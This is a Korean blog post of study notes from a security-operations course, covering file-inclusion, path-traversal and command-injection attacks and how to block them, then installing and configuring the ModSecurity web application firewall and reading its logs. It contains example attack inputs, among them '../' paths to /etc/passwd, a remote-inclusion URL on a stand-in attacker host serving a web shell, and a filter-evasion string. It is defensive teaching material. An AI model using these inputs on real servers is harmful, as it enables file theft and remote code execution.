Cyber Security/[새싹+SK쉴더스] 생성형 AI 활용 클라우드&보안 전문가 과정

[새싹 성동 2기] 보안 관제 실무 (3) - 웹 취약점 공격과 대응 방법 | ModSecurity(WAF Tool) 설치 및 실습

paka_corn 2024. 12. 12. 09:16

파일참조 공격 (File Inclusion)

: 페이지 내 다른 파일을 참조하는데서 취약점이 발생함 

함수: include

- 취약점 구조: 소스코드 내 admin?page=../../../test.html 와 같은 구조를 가지고 있음

- LFI보다 RFI가 더 취약함

 

LFI (Local File Inclusion)

: 로컬 파일 참고

- admin 페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)

- ../../../../../../etc/passwd와 같이 입력하여 로컬에 있는 파일 참조

=> ../ : 상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함 (html, url, 이중url 등)

 

예시) ?page=include.php

=> /?page=../../../../../../etc/passwd

패스워드 출력

 

LFI 공격 대응방법

- ../에 대해 인코딩 데이터의 복화가 필요

=> ../ 필터 필요 (WAF에 인코딩 데이터 복호화 기능 지원)

 

LFI vs 파일다운로드

: LFI는 함수 구조로 기반, 다운로드는 페이지로 동작

 

LFI

- 파라미터를 통해 파일을 참조하는 방식

 

파일 다운로드

: 페이지가 다운로드할 파일을 지정하여 호출 하는 방식

http://test.com/download?id=test.doc

=> test.doc 대신에 상대경로(../../../) 입력

- 대응방법은 LFI와 동일 (../ 필터링)

 

RFI (Remote File Inclusion)

: 원격 파일 참조

- 원격에 있는 페이지를 웹서버로 임포트하여 실행되는 공격

- http://attacker.com/webshell

=> 웹셸이 업로드된 효과

=> hthttptp://:이중 문자열을 입력함으로써 회피 

 

RFI 공격 대응방법

- URL 구조에 http와 같은 프로토콜 입력 필터

 

웹 취약점 대응 방법

정보노출

- 보안장비 대응: 없는 메서드 필터링

=> 정규표현식을 사용하여, GET이라고 하는 문자열 뒤에 필터링  

 

관리자페이지 노출

- 대응: 서버단에서 접근제어 설정이 우선시 되어야 함 

- 보안장비: uri나 url 기반에 관리자 페이지 접근 정규표현식 사용

http://test.com/admin

=> URL: test.com

=> URI: /admin

 

인증우회

- 서버단에서의 인증 프로세스 체크가 유일

- 보안장비: 대응방법 XXX (대응방법 없는 것이 유일)

 

파라미터 조작

- 서버단에서 프로세스 체크 설정이 필요

(ex) 일반 게시판에서 글 쓰는 과정에서 프록시를 통해 공지사항 게시판 ID로 변경 시

- 파라미터 조작은 자동화 공격이 많음 

=> 보안장비: 비정상행위로 탐지가 가능

=> WAF로는 탐지 불가능

=> IDS/IPS로 탐지 가능

 

디버깅 정보노출

- 서버단에서의 디버깅 정보 최소화가 유일함

=> 개발자의 역량에 따라 많이 달라짐

 

세션 재사용

- 서버단에서 일정시간 이후 세션 정보 초기화 설정이 필수! 

 

불필요한 Method 사용

- PUT. DELETE를 통해 페이지 접근 시, 탐지하는 규칙(Rule)이 필요함 

(PUT, DELETE - 특히 취약한 METHOD)

- 리액트에서 의도적으로 PUT/DELETE로 구현 시, 취약점이 다수 발생!

=> 이 경우, 룰을 만들면 오탐만 더 늘어남

=> (객관적인) 소명자료가 없으면, 전체 재개발이 필요함 

==> 보안 강화 개발 방법: POST 요청에 _method 필드를 포함해 의도적으로 PUT/DELETE 동작을 구현

 

BruteForce

- 보안장비: 비정상행위 탐지 룰 추가

 

Command Injection

- uri에  ; | || && 가 들어가는 경우 (단, 정규표현식 사용이 필요)=> ;           ls와 같이 공백이 들어갈 수 있기 떄문

 

대응 규칙 Rule을 만들 때, 주의할 점

1) 정규표현식 사용여부 체크

=> GET1, GET2, GET99와 같이 입력이 될 수 있는 것들

2) Rule에 탐지 되었을 때, 어떤 공격에 의해 탐지 되었는지에 대해 명확히 구분할 것

- Rule에 의해 탐지되면 로그가 남으며, log기반으로 공격 횟수 카운팅이 가능

 

ModSecurity - WAF 

ModSecurity 설치 & 룰 설정 명령어

apt update
apt install libapache2-mod-security2 -y // 모드시큐리티 설치(WAF)

// apache2 서버 재시작, 오류 발생 시, pentestlab 도커 stop 
systemctl restart apache2 

// 설치한 패키지 확인
apt-cache show libapache2-mod-security2 

//설정 파일 복사
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

// 기본으로 설정파일이 허용되어 있지 않음
// 설정파일 설정, 7번 라인의 SecRuleEngine DetectionOnly => SecRuleEngine On로 변경 
mousepad /etc/modsecurity/modsecurity.conf

// apache2 서버 재시작
systemctl restart apache2
// 사용자 룰 파일 정의 => 리눅스 디렉토리 이동
cd /etc/apache2
cd sites-available
ls // default 파일 발견 

mousepad 000-defualt.conf // SecRuleEngine On 마지막줄 변경
SecRule ARGS:testparam "@contains test" "id:9999,deny,status:403,msg:'TEST'" // 룰 삽입
systemctl restart apache2 // 서비스 재 시작 (룰 적용을 위해)

 

// 사용자 Rule test, 루트 권한 /Desktop에서 입력
// 잘 연결 되었으면, Apache2 Debian Default Page: It works 뜸
curl -v -X GET http://127.0.0.1/?testparam=1

// 403 Forbidden 떠야 정상
curl -v -X GET http://127.0.0.1/?testparam=test

// 로그 기록 확인
cd /var/log/apache2
cat modsec_audit.log 


cd /usr/share/modsecurity-crs // 기존 룰 확인
ls
cd /etc/apache2/mods-enabled 
ls
security2.conf //이본 룰 임포트 설정  

// 12번째 라인에, OWASP Rule 경로가 명시됨 (Debian계열, RedHat 계열에 따라 다름) 
mousepad security2.conf

 

modsecurity-crs: 기본적인 Rule

[ Rule 구조 ] 

1) 지시자

2) 탐색영역

- REQUEST "요청"

: 클라이언트가 서버로 보내는 데이터

- RESPOND "응답"

: 서버가 클라이언트로 보내는 데이터

3) 탐지할 데이터

^application/json 

=> ^ : 시작할 문자열 지정 (application/json 문자열로 시작해야함)

4) log에 기록할 메세지 필드 

- id: rule 고유 식별번호

- phase: 탐지할 영역

phase1 = request, header

phase2 = request, header, body

phase3 = phase2 + respond header

phase4 = phase2 + respond header, body

- t:lowercase: 대소문자 구분 X

- pass: 통과

- nolog: 로그 기록 X 

 

mousepad /etc/modsecurity/modsecurity.conf  기본 설정파일 설정

- SecRuleEngine DetectionOnly(line 7) => SecRuleEngine On

- SecRule REQUEST_HEADERS:Content-Type "^application/json" \
     "id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON"

1) 지시자: SecRule 

2) 탐색영역: REQUEST_HEADERS

3) 탐지할 데이터: application/json

4) log에 기록할 메세지 필드: id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON

 

[ 사용자 룰 파일 정의 ]

SecRule ARGS:testparam "@contains test" "id:9999,deny,status:403,msg:'TEST'"

1) 전역변수 - ARGS

2) 파라미터 인자값 - @contains

3)  log에 기록할 메세지명 

- deny, status, msg: deny(거부), status(403 출력), msg

=> http://test.com/?testparam=test가 입력되면 403을 출력

=> curl -v -X GET http://127.0.0.1/?testparam=1 입력시, "Apache2 Debian Default Page: It works" 출력

/var/log/apache2 

로그 기록 확인

 

[ 로그 분석 ] 

- 로그는 각각의 필드가 존재함

- A~Z까지 필드가 존재하며, 기록되는 로그별로 고유 값을 가짐

- 고유값을 통해 A~Z가 한 셋트의 로그

e8669630 --A > 접속 정보가 존재, 시간정보, 접속주체(클라이언트)

e8669630 --B > 클라이언트 헤더 정보 (REQUEST Header)

e8669630 --F> RESPOND Header  정보

e8669630 --E > RESPOND BODY  정보

e8669630 -- H > 탐지된 룰, 영역 기록

e8669630 -- H > 로그의 끝

 

reference

온프레미스와 클라우드 환경의 보안 관제 실무 - 이별 강사님